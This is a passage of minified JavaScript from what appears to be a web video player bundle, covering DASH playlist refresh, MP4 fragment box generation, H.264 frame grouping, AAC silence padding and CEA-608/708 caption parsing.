minimumUpdatePeriod of ${t}, not setting a timeout`):this.createMUPTimeout_(t)}createMUPTimeout_(e){const t=this.mainPlaylistLoader_;t.minimumUpdatePeriodTimeout_=r().setTimeout((()=>{t.minimumUpdatePeriodTimeout_=null,t.trigger("minimumUpdatePeriod"),t.createMUPTimeout_(e)}),e)}refreshXml_(){this.requestMain_(((e,t)=>{t&&(this.media_&&(this.media_=this.mainPlaylistLoader_.main.playlists[this.media_.id]),this.mainPlaylistLoader_.sidxMapping_=((e,t)=>{let i=Lo(e.playlists,t);return Xa(e,((e,n,r,s)=>{if(e.playlists&&e.playlists.length){const n=e.playlists;i=ya(i,Lo(n,t))}})),i})(this.mainPlaylistLoader_.main,this.mainPlaylistLoader_.sidxMapping_),this.addSidxSegments_(this.media(),this.state,(e=>{this.refreshMedia_(this.media().id)})))}))}refreshMedia_(e){if(!e)throw new Error("refreshMedia_ must take a media id");this.media_&&this.isMain_&&this.handleMain_();const t=this.mainPlaylistLoader_.main.playlists,i=!this.media_||this.media_!==t[e];if(i?this.media_=t[e]:this.trigger("playlistunchanged"),!this.mediaUpdateTimeout){const e=()=>{this.media().endList||(this.mediaUpdateTimeout=r().setTimeout((()=>{this.trigger("mediaupdatetimeout"),e()}),ao(this.media(),Boolean(i))))};e()}this.trigger("loadedplaylist")}}var Do={GOAL_BUFFER_LENGTH:30,MAX_GOAL_BUFFER_LENGTH:60,BACK_BUFFER_LENGTH:30,GOAL_BUFFER_LENGTH_RATE:1,INITIAL_BANDWIDTH:4194304,BANDWIDTH_VARIANCE:1.2,BUFFER_LOW_WATER_LINE:0,MAX_BUFFER_LOW_WATER_LINE:30,EXPERIMENTAL_MAX_BUFFER_LOW_WATER_LINE:16,BUFFER_LOW_WATER_LINE_RATE:1,BUFFER_HIGH_WATER_LINE:30};const Eo=function(e){return e.on=e.addEventListener,e.off=e.removeEventListener,e},Po=function(e){return function(){const t=function(e){try{return URL.createObjectURL(new Blob([e],{type:"application/javascript"}))}catch(t){const i=new BlobBuilder;return i.append(e),URL.createObjectURL(i.getBlob())}}(e),i=Eo(new Worker(t));i.objURL=t;const n=i.terminate;return i.on=i.addEventListener,i.off=i.removeEventListener,i.terminate=function(){return URL.revokeObjectURL(t),n.call(this)},i}},Ao=function(e){return`var browserWorkerPolyFill = ${Eo.toString()};\nbrowserWorkerPolyFill(self);\n`+e},Io=function(e){return e.toString().replace(/^function.+?{/,"").slice(0,-1)},Oo=Ao(Io((function(){var e="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:void 0!==i.g?i.g:"undefined"!=typeof self?self:{},t=function(){this.init=function(){var e={};this.on=function(t,i){e[t]||(e[t]=[]),e[t]=e[t].concat(i)},this.off=function(t,i){var n;return!!e[t]&&(n=e[t].indexOf(i),e[t]=e[t].slice(),e[t].splice(n,1),n>-1)},this.trigger=function(t){var i,n,r,s;if(i=e[t])if(2===arguments.length)for(r=i.length,n=0;n<r;++n)i[n].call(this,arguments[1]);else{for(s=[],n=arguments.length,n=1;n<arguments.length;++n)s.push(arguments[n]);for(r=i.length,n=0;n<r;++n)i[n].apply(this,s)}},this.dispose=function(){e={}}}};t.prototype.pipe=function(e){return this.on("data",(function(t){e.push(t)})),this.on("done",(function(t){e.flush(t)})),this.on("partialdone",(function(t){e.partialFlush(t)})),this.on("endedtimeline",(function(t){e.endTimeline(t)})),this.on("reset",(function(t){e.reset(t)})),e},t.prototype.push=function(e){this.trigger("data",e)},t.prototype.flush=function(e){this.trigger("done",e)},t.prototype.partialFlush=function(e){this.trigger("partialdone",e)},t.prototype.endTimeline=function(e){this.trigger("endedtimeline",e)},t.prototype.reset=function(e){this.trigger("reset",e)};var n,r,s,a,o,l,u,c,d,h,p,f,m,g,_,v,y,b,w,T,k,S,M,x,L,C,D,E,P,A,I,O,Y,$,j,N,R,H,F,B,U=t,W=Math.pow(2,32),z={getUint64:function(e){var t,i=new DataView(e.buffer,e.byteOffset,e.byteLength);return i.getBigUint64?(t=i.getBigUint64(0))<Number.MAX_SAFE_INTEGER?Number(t):t:i.getUint32(0)*W+i.getUint32(4)},MAX_UINT32:W},q=z.MAX_UINT32;!function(){var e;if(S={avc1:[],avcC:[],btrt:[],dinf:[],dref:[],esds:[],ftyp:[],hdlr:[],mdat:[],mdhd:[],mdia:[],mfhd:[],minf:[],moof:[],moov:[],mp4a:[],mvex:[],mvhd:[],pasp:[],sdtp:[],smhd:[],stbl:[],stco:[],stsc:[],stsd:[],stsz:[],stts:[],styp:[],tfdt:[],tfhd:[],traf:[],trak:[],trun:[],trex:[],tkhd:[],vmhd:[]},"undefined"!=typeof Uint8Array){for(e in S)S.hasOwnProperty(e)&&(S[e]=[e.charCodeAt(0),e.charCodeAt(1),e.charCodeAt(2),e.charCodeAt(3)]);M=new Uint8Array(["i".charCodeAt(0),"s".charCodeAt(0),"o".charCodeAt(0),"m".charCodeAt(0)]),L=new Uint8Array(["a".charCodeAt(0),"v".charCodeAt(0),"c".charCodeAt(0),"1".charCodeAt(0)]),x=new Uint8Array([0,0,0,1]),C=new Uint8Array([0,0,0,0,0,0,0,0,118,105,100,101,0,0,0,0,0,0,0,0,0,0,0,0,86,105,100,101,111,72,97,110,100,108,101,114,0]),D=new Uint8Array([0,0,0,0,0,0,0,0,115,111,117,110,0,0,0,0,0,0,0,0,0,0,0,0,83,111,117,110,100,72,97,110,100,108,101,114,0]),E={video:C,audio:D},I=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,12,117,114,108,32,0,0,0,1]),A=new Uint8Array([0,0,0,0,0,0,0,0]),O=new Uint8Array([0,0,0,0,0,0,0,0]),Y=O,$=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0]),j=O,P=new Uint8Array([0,0,0,1,0,0,0,0,0,0,0,0])}}(),n=function(e){var t,i,n=[],r=0;for(t=1;t<arguments.length;t++)n.push(arguments[t]);for(t=n.length;t--;)r+=n[t].byteLength;for(i=new Uint8Array(r+8),new DataView(i.buffer,i.byteOffset,i.byteLength).setUint32(0,i.byteLength),i.set(e,4),t=0,r=8;t<n.length;t++)i.set(n[t],r),r+=n[t].byteLength;return i},r=function(){return n(S.dinf,n(S.dref,I))},s=function(e){return n(S.esds,new Uint8Array([0,0,0,0,3,25,0,0,0,4,17,64,21,0,6,0,0,0,218,192,0,0,218,192,5,2,e.audioobjecttype<<3|e.samplingfrequencyindex>>>1,e.samplingfrequencyindex<<7|e.channelcount<<3,6,1,2]))},_=function(e){return n(S.hdlr,E[e])},g=function(e){var t=new Uint8Array([0,0,0,0,0,0,0,2,0,0,0,3,0,1,95,144,e.duration>>>24&255,e.duration>>>16&255,e.duration>>>8&255,255&e.duration,85,196,0,0]);return e.samplerate&&(t[12]=e.samplerate>>>24&255,t[13]=e.samplerate>>>16&255,t[14]=e.samplerate>>>8&255,t[15]=255&e.samplerate),n(S.mdhd,t)},m=function(e){return n(S.mdia,g(e),_(e.type),l(e))},o=function(e){return n(S.mfhd,new Uint8Array([0,0,0,0,(4278190080&e)>>24,(16711680&e)>>16,(65280&e)>>8,255&e]))},l=function(e){return n(S.minf,"video"===e.type?n(S.vmhd,P):n(S.smhd,A),r(),y(e))},u=function(e,t){for(var i=[],r=t.length;r--;)i[r]=w(t[r]);return n.apply(null,[S.moof,o(e)].concat(i))},c=function(e){for(var t=e.length,i=[];t--;)i[t]=p(e[t]);return n.apply(null,[S.moov,h(4294967295)].concat(i).concat(d(e)))},d=function(e){for(var t=e.length,i=[];t--;)i[t]=T(e[t]);return n.apply(null,[S.mvex].concat(i))},h=function(e){var t=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,2,0,1,95,144,(4278190080&e)>>24,(16711680&e)>>16,(65280&e)>>8,255&e,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255]);return n(S.mvhd,t)},v=function(e){var t,i,r=e.samples||[],s=new Uint8Array(4+r.length);for(i=0;i<r.length;i++)t=r[i].flags,s[i+4]=t.dependsOn<<4|t.isDependedOn<<2|t.hasRedundancy;return n(S.sdtp,s)},y=function(e){return n(S.stbl,b(e),n(S.stts,j),n(S.stsc,Y),n(S.stsz,$),n(S.stco,O))},b=function(e){return n(S.stsd,new Uint8Array([0,0,0,0,0,0,0,1]),"video"===e.type?N(e):R(e))},N=function(e){var t,i,r=e.sps||[],s=e.pps||[],a=[],o=[];for(t=0;t<r.length;t++)a.push((65280&r[t].byteLength)>>>8),a.push(255&r[t].byteLength),a=a.concat(Array.prototype.slice.call(r[t]));for(t=0;t<s.length;t++)o.push((65280&s[t].byteLength)>>>8),o.push(255&s[t].byteLength),o=o.concat(Array.prototype.slice.call(s[t]));if(i=[S.avc1,new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,(65280&e.width)>>8,255&e.width,(65280&e.height)>>8,255&e.height,0,72,0,0,0,72,0,0,0,0,0,0,0,1,19,118,105,100,101,111,106,115,45,99,111,110,116,114,105,98,45,104,108,115,0,0,0,0,0,0,0,0,0,0,0,0,0,24,17,17]),n(S.avcC,new Uint8Array([1,e.profileIdc,e.profileCompatibility,e.levelIdc,255].concat([r.length],a,[s.length],o))),n(S.btrt,new Uint8Array([0,28,156,128,0,45,198,192,0,45,198,192]))],e.sarRatio){var l=e.sarRatio[0],u=e.sarRatio[1];i.push(n(S.pasp,new Uint8Array([(4278190080&l)>>24,(16711680&l)>>16,(65280&l)>>8,255&l,(4278190080&u)>>24,(16711680&u)>>16,(65280&u)>>8,255&u])))}return n.apply(null,i)},R=function(e){return n(S.mp4a,new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,(65280&e.channelcount)>>8,255&e.channelcount,(65280&e.samplesize)>>8,255&e.samplesize,0,0,0,0,(65280&e.samplerate)>>8,255&e.samplerate,0,0]),s(e))},f=function(e){var t=new Uint8Array([0,0,0,7,0,0,0,0,0,0,0,0,(4278190080&e.id)>>24,(16711680&e.id)>>16,(65280&e.id)>>8,255&e.id,0,0,0,0,(4278190080&e.duration)>>24,(16711680&e.duration)>>16,(65280&e.duration)>>8,255&e.duration,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,(65280&e.width)>>8,255&e.width,0,0,(65280&e.height)>>8,255&e.height,0,0]);return n(S.tkhd,t)},w=function(e){var t,i,r,s,a,o;return t=n(S.tfhd,new Uint8Array([0,0,0,58,(4278190080&e.id)>>24,(16711680&e.id)>>16,(65280&e.id)>>8,255&e.id,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0])),a=Math.floor(e.baseMediaDecodeTime/q),o=Math.floor(e.baseMediaDecodeTime%q),i=n(S.tfdt,new Uint8Array([1,0,0,0,a>>>24&255,a>>>16&255,a>>>8&255,255&a,o>>>24&255,o>>>16&255,o>>>8&255,255&o])),"audio"===e.type?(r=k(e,92),n(S.traf,t,i,r)):(s=v(e),r=k(e,s.length+92),n(S.traf,t,i,r,s))},p=function(e){return e.duration=e.duration||4294967295,n(S.trak,f(e),m(e))},T=function(e){var t=new Uint8Array([0,0,0,0,(4278190080&e.id)>>24,(16711680&e.id)>>16,(65280&e.id)>>8,255&e.id,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1]);return"video"!==e.type&&(t[t.length-1]=0),n(S.trex,t)},B=function(e,t){var i=0,n=0,r=0,s=0;return e.length&&(void 0!==e[0].duration&&(i=1),void 0!==e[0].size&&(n=2),void 0!==e[0].flags&&(r=4),void 0!==e[0].compositionTimeOffset&&(s=8)),[0,0,i|n|r|s,1,(4278190080&e.length)>>>24,(16711680&e.length)>>>16,(65280&e.length)>>>8,255&e.length,(4278190080&t)>>>24,(16711680&t)>>>16,(65280&t)>>>8,255&t]},F=function(e,t){var i,r,s,a,o,l;for(t+=20+16*(a=e.samples||[]).length,s=B(a,t),(r=new Uint8Array(s.length+16*a.length)).set(s),i=s.length,l=0;l<a.length;l++)o=a[l],r[i++]=(4278190080&o.duration)>>>24,r[i++]=(16711680&o.duration)>>>16,r[i++]=(65280&o.duration)>>>8,r[i++]=255&o.duration,r[i++]=(4278190080&o.size)>>>24,r[i++]=(16711680&o.size)>>>16,r[i++]=(65280&o.size)>>>8,r[i++]=255&o.size,r[i++]=o.flags.isLeading<<2|o.flags.dependsOn,r[i++]=o.flags.isDependedOn<<6|o.flags.hasRedundancy<<4|o.flags.paddingValue<<1|o.flags.isNonSyncSample,r[i++]=61440&o.flags.degradationPriority,r[i++]=15&o.flags.degradationPriority,r[i++]=(4278190080&o.compositionTimeOffset)>>>24,r[i++]=(16711680&o.compositionTimeOffset)>>>16,r[i++]=(65280&o.compositionTimeOffset)>>>8,r[i++]=255&o.compositionTimeOffset;return n(S.trun,r)},H=function(e,t){var i,r,s,a,o,l;for(t+=20+8*(a=e.samples||[]).length,s=B(a,t),(i=new Uint8Array(s.length+8*a.length)).set(s),r=s.length,l=0;l<a.length;l++)o=a[l],i[r++]=(4278190080&o.duration)>>>24,i[r++]=(16711680&o.duration)>>>16,i[r++]=(65280&o.duration)>>>8,i[r++]=255&o.duration,i[r++]=(4278190080&o.size)>>>24,i[r++]=(16711680&o.size)>>>16,i[r++]=(65280&o.size)>>>8,i[r++]=255&o.size;return n(S.trun,i)},k=function(e,t){return"audio"===e.type?H(e,t):F(e,t)};var V,J,G,K,X,Z,Q,ee,te={ftyp:a=function(){return n(S.ftyp,M,x,M,L)},mdat:function(e){return n(S.mdat,e)},moof:u,moov:c,initSegment:function(e){var t,i=a(),n=c(e);return(t=new Uint8Array(i.byteLength+n.byteLength)).set(i),t.set(n,i.byteLength),t}},ie=function(e,t){var i={size:0,flags:{isLeading:0,dependsOn:1,isDependedOn:0,hasRedundancy:0,degradationPriority:0,isNonSyncSample:1}};return i.dataOffset=t,i.compositionTimeOffset=e.pts-e.dts,i.duration=e.duration,i.size=4*e.length,i.size+=e.byteLength,e.keyFrame&&(i.flags.dependsOn=2,i.flags.isNonSyncSample=0),i},ne={groupNalsIntoFrames:function(e){var t,i,n=[],r=[];for(r.byteLength=0,r.nalCount=0,r.duration=0,n.byteLength=0,t=0;t<e.length;t++)"access_unit_delimiter_rbsp"===(i=e[t]).nalUnitType?(n.length&&(n.duration=i.dts-n.dts,r.byteLength+=n.byteLength,r.nalCount+=n.length,r.duration+=n.duration,r.push(n)),(n=[i]).byteLength=i.data.byteLength,n.pts=i.pts,n.dts=i.dts):("slice_layer_without_partitioning_rbsp_idr"===i.nalUnitType&&(n.keyFrame=!0),n.duration=i.dts-n.dts,n.byteLength+=i.data.byteLength,n.push(i));return r.length&&(!n.duration||n.duration<=0)&&(n.duration=r[r.length-1].duration),r.byteLength+=n.byteLength,r.nalCount+=n.length,r.duration+=n.duration,r.push(n),r},groupFramesIntoGops:function(e){var t,i,n=[],r=[];for(n.byteLength=0,n.nalCount=0,n.duration=0,n.pts=e[0].pts,n.dts=e[0].dts,r.byteLength=0,r.nalCount=0,r.duration=0,r.pts=e[0].pts,r.dts=e[0].dts,t=0;t<e.length;t++)(i=e[t]).keyFrame?(n.length&&(r.push(n),r.byteLength+=n.byteLength,r.nalCount+=n.nalCount,r.duration+=n.duration),(n=[i]).nalCount=i.length,n.byteLength=i.byteLength,n.pts=i.pts,n.dts=i.dts,n.duration=i.duration):(n.duration+=i.duration,n.nalCount+=i.length,n.byteLength+=i.byteLength,n.push(i));return r.length&&n.duration<=0&&(n.duration=r[r.length-1].duration),r.byteLength+=n.byteLength,r.nalCount+=n.nalCount,r.duration+=n.duration,r.push(n),r},extendFirstKeyFrame:function(e){var t;return!e[0][0].keyFrame&&e.length>1&&(t=e.shift(),e.byteLength-=t.byteLength,e.nalCount-=t.nalCount,e[0][0].dts=t.dts,e[0][0].pts=t.pts,e[0][0].duration+=t.duration),e},generateSampleTable:function(e,t){var i,n,r,s,a,o=t||0,l=[];for(i=0;i<e.length;i++)for(s=e[i],n=0;n<s.length;n++)a=s[n],o+=(r=ie(a,o)).size,l.push(r);return l},concatenateNalData:function(e){var t,i,n,r,s,a,o=0,l=e.byteLength,u=e.nalCount,c=new Uint8Array(l+4*u),d=new DataView(c.buffer);for(t=0;t<e.length;t++)for(r=e[t],i=0;i<r.length;i++)for(s=r[i],n=0;n<s.length;n++)a=s[n],d.setUint32(o,a.data.byteLength),o+=4,c.set(a.data,o),o+=a.data.byteLength;return c},generateSampleTableForFrame:function(e,t){var i,n=[];return i=ie(e,t||0),n.push(i),n},concatenateNalDataForFrame:function(e){var t,i,n=0,r=e.byteLength,s=e.length,a=new Uint8Array(r+4*s),o=new DataView(a.buffer);for(t=0;t<e.length;t++)i=e[t],o.setUint32(n,i.data.byteLength),n+=4,a.set(i.data,n),n+=i.data.byteLength;return a}},re=[33,16,5,32,164,27],se=[33,65,108,84,1,2,4,8,168,2,4,8,17,191,252],ae=function(e){for(var t=[];e--;)t.push(0);return t};Z=function(e,t){return J(X(e,t))},Q=function(e,t){return G(K(e),t)},ee=function(e,t,i){return K(i?e:e-t)};var le={ONE_SECOND_IN_TS:9e4,secondsToVideoTs:J=function(e){return 9e4*e},secondsToAudioTs:G=function(e,t){return e*t},videoTsToSeconds:K=function(e){return e/9e4},audioTsToSeconds:X=function(e,t){return e/t},audioTsToVideoTs:Z,videoTsToAudioTs:Q,metadataTsToSeconds:ee},ue=le,ce={prefixWithSilence:function(e,t,i,n){var r,s,a,o,l,u=0,c=0,d=0;if(t.length&&(r=ue.audioTsToVideoTs(e.baseMediaDecodeTime,e.samplerate),s=Math.ceil(ue.ONE_SECOND_IN_TS/(e.samplerate/1024)),i&&n&&(u=r-Math.max(i,n),d=(c=Math.floor(u/s))*s),!(c<1||d>ue.ONE_SECOND_IN_TS/2))){for((a=function(){if(!V){var e={96e3:[re,[227,64],ae(154),[56]],88200:[re,[231],ae(170),[56]],64e3:[re,[248,192],ae(240),[56]],48e3:[re,[255,192],ae(268),[55,148,128],ae(54),[112]],44100:[re,[255,192],ae(268),[55,163,128],ae(84),[112]],32e3:[re,[255,192],ae(268),[55,234],ae(226),[112]],24e3:[re,[255,192],ae(268),[55,255,128],ae(268),[111,112],ae(126),[224]],16e3:[re,[255,192],ae(268),[55,255,128],ae(268),[111,255],ae(269),[223,108],ae(195),[1,192]],12e3:[se,ae(268),[3,127,248],ae(268),[6,255,240],ae(268),[13,255,224],ae(268),[27,253,128],ae(259),[56]],11025:[se,ae(268),[3,127,248],ae(268),[6,255,240],ae(268),[13,255,224],ae(268),[27,255,192],ae(268),[55,175,128],ae(108),[112]],8e3:[se,ae(268),[3,121,16],ae(47),[7]]};t=e,V=Object.keys(t).reduce((function(e,i){return e[i]=new Uint8Array(t[i].reduce((function(e,t){return e.concat(t)}),[])),e}),{})}var t;return V}()[e.samplerate])||(a=t[0].data),o=0;o<c;o++)l=t[0],t.splice(0,0,{data:a,dts:l.dts-s,pts:l.pts-s});return e.baseMediaDecodeTime-=Math.floor(ue.videoTsToAudioTs(d,e.samplerate)),d}},trimAdtsFramesByEarliestDts:function(e,t,i){return t.minSegmentDts>=i?e:(t.minSegmentDts=1/0,e.filter((function(e){return e.dts>=i&&(t.minSegmentDts=Math.min(t.minSegmentDts,e.dts),t.minSegmentPts=t.minSegmentDts,!0)})))},generateSampleTable:function(e){var t,i,n=[];for(t=0;t<e.length;t++)i=e[t],n.push({size:i.data.byteLength,duration:1024});return n},concatenateFrameData:function(e){var t,i,n=0,r=new Uint8Array(function(e){var t,i=0;for(t=0;t<e.length;t++)i+=e[t].data.byteLength;return i}(e));for(t=0;t<e.length;t++)i=e[t],r.set(i.data,n),n+=i.data.byteLength;return r}},de=le.ONE_SECOND_IN_TS,he={clearDtsInfo:function(e){delete e.minSegmentDts,delete e.maxSegmentDts,delete e.minSegmentPts,delete e.maxSegmentPts},calculateTrackBaseMediaDecodeTime:function(e,t){var i,n=e.minSegmentDts;return t||(n-=e.timelineStartInfo.dts),i=e.timelineStartInfo.baseMediaDecodeTime,i+=n,i=Math.max(0,i),"audio"===e.type&&(i*=e.samplerate/de,i=Math.floor(i)),i},collectDtsInfo:function(e,t){"number"==typeof t.pts&&(void 0===e.timelineStartInfo.pts&&(e.timelineStartInfo.pts=t.pts),void 0===e.minSegmentPts?e.minSegmentPts=t.pts:e.minSegmentPts=Math.min(e.minSegmentPts,t.pts),void 0===e.maxSegmentPts?e.maxSegmentPts=t.pts:e.maxSegmentPts=Math.max(e.maxSegmentPts,t.pts)),"number"==typeof t.dts&&(void 0===e.timelineStartInfo.dts&&(e.timelineStartInfo.dts=t.dts),void 0===e.minSegmentDts?e.minSegmentDts=t.dts:e.minSegmentDts=Math.min(e.minSegmentDts,t.dts),void 0===e.maxSegmentDts?e.maxSegmentDts=t.dts:e.maxSegmentDts=Math.max(e.maxSegmentDts,t.dts))}},pe={parseSei:function(e){for(var t=0,i={payloadType:-1,payloadSize:0},n=0,r=0;t<e.byteLength&&128!==e[t];){for(;255===e[t];)n+=255,t++;for(n+=e[t++];255===e[t];)r+=255,t++;if(r+=e[t++],!i.payload&&4===n){if("GA94"===String.fromCharCode(e[t+3],e[t+4],e[t+5],e[t+6])){i.payloadType=n,i.payloadSize=r,i.payload=e.subarray(t,t+r);break}i.payload=void 0}t+=r,n=0,r=0}return i},parseUserData:function(e){return 181!==e.payload[0]||49!=(e.payload[1]<<8|e.payload[2])||"GA94"!==String.fromCharCode(e.payload[3],e.payload[4],e.payload[5],e.payload[6])||3!==e.payload[7]?null:e.payload.subarray(8,e.payload.length-1)},parseCaptionPackets:function(e,t){var i,n,r,s,a=[];if(!(64&t[0]))return a;for(n=31&t[0],i=0;i<n;i++)s={type:3&t[2+(r=3*i)],pts:e},4&t[r+2]&&(s.ccData=t[r+3]<<8|t[r+4],a.push(s));return a},discardEmulationPreventionBytes:function(e){for(var t,i,n=e.byteLength,r=[],s=1;s<n-2;)0===e[s]&&0===e[s+1]&&3===e[s+2]?(r.push(s+2),s+=2):s++;if(0===r.length)return e;t=n-r.length,i=new Uint8Array(t);var a=0;for(s=0;s<t;a++,s++)a===r[0]&&(a++,r.shift()),i[s]=e[a];return i},USER_DATA_REGISTERED_ITU_T_T35:4},fe=U,me=pe,ge=function(e){e=e||{},ge.prototype.init.call(this),this.parse708captions_="boolean"!=typeof e.parse708captions||e.parse708captions,this.captionPackets_=[],this.ccStreams_=[new xe(0,0),new xe(0,1),new xe(1,0),new xe(1,1)],this.parse708captions_&&(this.cc708Stream_=new we({captionServices:e.captionServices})),this.reset(),this.ccStreams_.forEach((function(e){e.on("data",this.trigger.bind(this,"data")),e.on("partialdone",this.trigger.bind(this,"partialdone")),e.on("done",this.trigger.bind(this,"done"))}),this),this.parse708captions_&&(this.cc708Stream_.on("data",this.trigger.bind(this,"data")),this.cc708Stream_.on("partialdone",this.trigger.bind(this,"partialdone")),this.cc708Stream_.on("done",this.trigger.bind(this,"done")))};ge.prototype=new fe,ge.prototype.push=function(e){var t,i,n;if("sei_rbsp"===e.nalUnitType&&(t=me.parseSei(e.escapedRBSP)).payload&&t.payloadType===me.USER_DATA_REGISTERED_ITU_T_T35&&(i=me.parseUserData(t)))if(e.dts<this.latestDts_)this.ignoreNextEqualDts_=!0;else{if(e.dts===this.latestDts_&&this.ignoreNextEqualDts_)return this.numSameDts_--,void(this.numSameDts_||(this.ignoreNextEqualDts_=!1));n=me.parseCaptionPackets(e.pts,i),this.captionPackets_=this.captionPackets_.concat(n),this.latestDts_!==e.dts&&(this.numSameDts_=0),this.numSameDts_++,this.latestDts_=e.dts}},ge.prototype.flushCCStreams=function(e){this.ccStreams_.forEach((function(t){return"flush"===e?t.flush():t.partialFlush()}),this)},ge.prototype.flushStream=function(e){this.captionPackets_.length?(this.captionPackets_.forEach((function(e,t){e.presortIndex=t})),this.captionPackets_.sort((function(e,t){return e.pts===t.pts?e.presortIndex-t.presortIndex:e.pts-t.pts})),this.captionPackets_.forEach((function(e){e.type<2?this.dispatchCea608Packet(e):this.dispatchCea708Packet(e)}),this),this.captionPackets_.length=0,this.flushCCStreams(e)):this.flushCCStreams(e)},ge.prototype.flush=function(){return this.flushStream("flush")},ge.prototype.partialFlush=function(){return this.flushStream("partialFlush")},ge.prototype.reset=function(){this.latestDts_=null,this.ignoreNextEqualDts_=!1,this.numSameDts_=0,this.activeCea608Channel_=[null,null],this.ccStreams_.forEach((function(e){e.reset()}))},ge.prototype.dispatchCea608Packet=function(e){this.setsTextOrXDSActive(e)?this.activeCea608Channel_[e.type]=null:this.setsChannel1Active(e)?this.activeCea608Channel_[e.type]=0:this.setsChannel2Active(e)&&(this.activeCea608Channel_[e.type]=1),null!==this.activeCea608Channel_[e.type]&&this.ccStreams_[(e.type<<1)+this.activeCea608Channel_[e.type]].push(e)},ge.prototype.setsChannel1Active=function(e){return 4096==(30720&e.ccData)},ge.prototype.setsChannel2Active=function(e){return 6144==(30720&e.ccData)},ge.prototype.setsTextOrXDSActive=function(e){return 256==(28928&e.ccData)||4138==(30974&e.ccData)||6186==(30974&e.ccData)},ge.prototype.dispatchCea708Packet=function(e){this.parse708captions_&&this.cc708Stream_.push(e)};var _e={127:9834,4128:32,4129:160,4133:8230,4138:352,4140:338,4144:9608,4145:8216,4146:8217,4147:8220,4148:8221,4149:8226,4153:8482,4154:353,4156:339,4157:8480,4159:376,4214:8539,4215:8540,4216:8541,4217:8542,4218:9168,4219:9124,4220:9123,4221:9135,4222:9126,4223:9121,4256:12600},ve=function(e){return 32<=e&&e<=127||160<=e&&e<=255},ye=function(e){this.windowNum=e,this.reset()};ye.prototype.reset=function(){this.clearText(),this.pendingNewLine=!1,this.winAttr={},this.penAttr={},this.penLoc={},this.penColor={},this.visible=0,this.rowLock=0,this.columnLock=0,this.priority=0,this.relativePositioning=0,this.anchorVertical=0,this.anchorHorizontal=0,this.anchorPoint=0,this.rowCount=1,this.virtualRowCount=this.rowCount+1,this.columnCount=41,this.windowStyle=0,this.penStyle=0},ye.prototype.getText=function(){return this.rows.join("\n")},ye.prototype.clearText=function(){this.rows=[""],this.rowIdx=0},ye.prototype.newLine=function(e){for(this.rows.length>=this.virtualRowCount&&"function"==typeof this.beforeRowOverflow&&this.beforeRowOverflow(e),this.rows.length>0&&(this.rows.push(""),this.rowIdx++);this.rows.length>this.virtualRowCount;)this.rows.shift(),this.rowIdx--},ye.prototype.isEmpty=function(){return 0===this.rows.length||1===this.rows.length&&""===this.rows[0]},ye.prototype.addText=function(e){this.rows[this.rowIdx]+=e},ye.prototype.backspace=function(){if(!this.isEmpty()){var e=this.rows[this.rowIdx];this.rows[this.rowIdx]=e.substr(0,e.length-1)}};var be=function(e,t,i){this.serviceNum=e,this.text="",this.currentWindow=new ye(-1),this.windows=[],this.stream=i,"string"==typeof t&&this.createTextDecoder(t)};be.prototype.init=function(e,t){this.startPts=e;for(var i=0;i<8;i++)this.windows[i]=new ye(i),"function"==typeof t&&(this.windows[i].beforeRowOverflow=t)},be.prototype.setCurrentWindow=function(e){this.currentWindow=this.windows[e]},be.prototype.createTextDecoder=function(e){if("undefined"==typeof TextDecoder)this.stream.trigger("log",{level:"warn",message:"The `encoding` option is unsupported without TextDecoder support"});else try{this.textDecoder_=new TextDecoder(e)}catch(t){this.stream.trigger("log",{level:"warn",message:"TextDecoder could not be created with "+e+" encoding. "+t})}};var we=function(e){e=e||{},we.prototype.init.call(this);var t,i=this,n=e.captionServices||{},r={};Object.keys(n).forEach((e=>{t=n[e],/^SERVICE/.test(e)&&(r[e]=t.encoding)})),this.serviceEncodings=r,this.current708Packet=null,this.services={},this.push=function(e){3===e.type?(i.new708Packet(),i.add708Bytes(e)):(null===i.current708Packet&&i.new708Packet(),i.add708Bytes(e))}};we.prototype=new fe,we.prototype.new708Packet=function(){null!==this.current708Packet&&this.push708Packet(),this.current708Packet={data:[],ptsVals:[]}},we.prototype.add708Bytes=function(e){var t=e.ccData,i=t>>>8,n=255&t;this.current708Packet.ptsVals.push(e.pts),this.current708Packet.data.push(i),this.current708Packet.data.push(n)},we.prototype.push708Packet=function(){var e=this.current708Packet,t=e.data,i=null,n=null,r=0,s=t[r++];for(e.seq=s>>6,e.sizeCode=63&s;r<t.length;r++)n=31&(s=t[r++]),7==(i=s>>5)&&n>0&&(i=s=t[r++]),this.pushServiceBlock(i,r,n),n>0&&(r+=n-1)},we.prototype.pushServiceBlock=function(e,t,i){var n,r=t,s=this.current708Packet.data,a=this.services[e];for(a||(a=this.initService(e,r));r<t+i&&r<s.length;r++)n=s[r],ve(n)?r=this.handleText(r,a):24===n?r=this.multiByteCharacter(r,a):16===n?r=this.extendedCommands(r,a):128<=n&&n<=135?r=this.setCurrentWindow(r,a):152<=n&&n<=159?r=this.defineWindow(r,a):136===n?r=this.clearWindows(r,a):140===n?r=this.deleteWindows(r,a):137===n?r=this.displayWindows(r,a):138===n?r=this.hideWindows(r,a):139===n?r=this.toggleWindows(r,a):151===n?r=this.setWindowAttributes(r,a):144===n?r=this.setPenAttributes(r,a):145===n?r=this.setPenColor(r,a):146===n?r=this.setPenLocation(r,a):143===n?a=this.reset(r,a):8===n?a.currentWindow.backspace():12===n?a.currentWindow.clearText():13===n?a.currentWindow.pendingNewLine=!0:14===n?a.currentWindow.clearText():141===n&&r++},we.prototype.extendedCommands=function(e,t){var i=this.current708Packet.data[++e];return ve(i)&&(e=this.handleText(e,t,{isExtended:!0})),e},we.prototype.getPts=function(e){return 